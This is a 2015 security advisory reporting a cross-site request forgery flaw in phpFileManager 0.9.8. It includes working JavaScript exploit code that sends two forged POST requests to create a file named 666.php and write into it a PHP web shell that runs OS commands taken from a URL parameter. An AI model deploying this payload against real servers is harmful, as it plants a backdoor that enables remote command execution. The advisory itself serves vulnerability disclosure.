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phpFileManager 0.9.8 CSRF Backdoor Shell Vulnerability



[+] Credits: John Page ( hyp3rlinx )

[+] Domains: hyp3rlinx.altervista.org

[+] Source:  http://hyp3rlinx.altervista.org/advisories/AS-PHPFILEMANAGER0729.txt



Vendor:
================================
phpfm.sourceforge.net



Product:
============================
phpFileManager version 0.9.8


Vulnerability Type:
==========================
CSRF Remote Backdoor Shell



CVE Reference:
==============
N/A



Advisory Information:
========================================
CSRF Remote Backdoor Shell Vulnerability




Vulnerability Details:
=======================================================================
PHP File Manager is vulnerable to creation of arbitrary files on server
via CSRF which we can use to create remote backdoor shell access if victim
clicks our malicious linx or visits our malicious webpages. 

To create backdoor shell we will need to execute two POST requests
1- to create PHP backdoor shell 666.php 
2- inject code and save to the backdoor we just created

e.g.
https://localhost/phpFileManager-0.9.8/666.php?cmd=[ OS command ] 


Exploit code(s):
===============

<script>
var scripto="frame=3&action=2&dir_dest=2&chmod_arg=&cmd_arg=666.php&current_dir=&selected_dir_list=&selected_file_list="
blasphemer(scripto)

var maliciouso="action=7&save_file=1&current_dir=.&filename=666.php&file_data='<?php+echo+'backdoor shell by hyp3rlinx......';+exec($_GET['cmd']);+?>"
blasphemer(maliciouso)

function blasphemer(payload){
 var xhr=new XMLHttpRequest()
 xhr.open('POST',"https://localhost/phpFileManager-0.9.8/index.php";, true)
 xhr.setRequestHeader("content-type", "application/x-www-form-urlencoded")
 xhr.send(payload)
}
</script>



Disclosure Timeline:
=========================================================
Vendor Notification: July 28, 2015
July 29, 2015 : Public Disclosure



Severity Level:
=========================================================
High



Description:
==========================================================


Request Method(s):              [+] POST


Vulnerable Product:             [+] phpFileManager 0.9.8


Vulnerable Parameter(s):        [+] action, cmd_arg, file_data, chmod_arg, save_file


Affected Area(s):               [+] Web Server


===========================================================

[+] Disclaimer
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author.
The author is not responsible for any misuse of the information contained herein and prohibits any malicious use of all security related information or exploits by the author or elsewhere.

by hyp3rlinx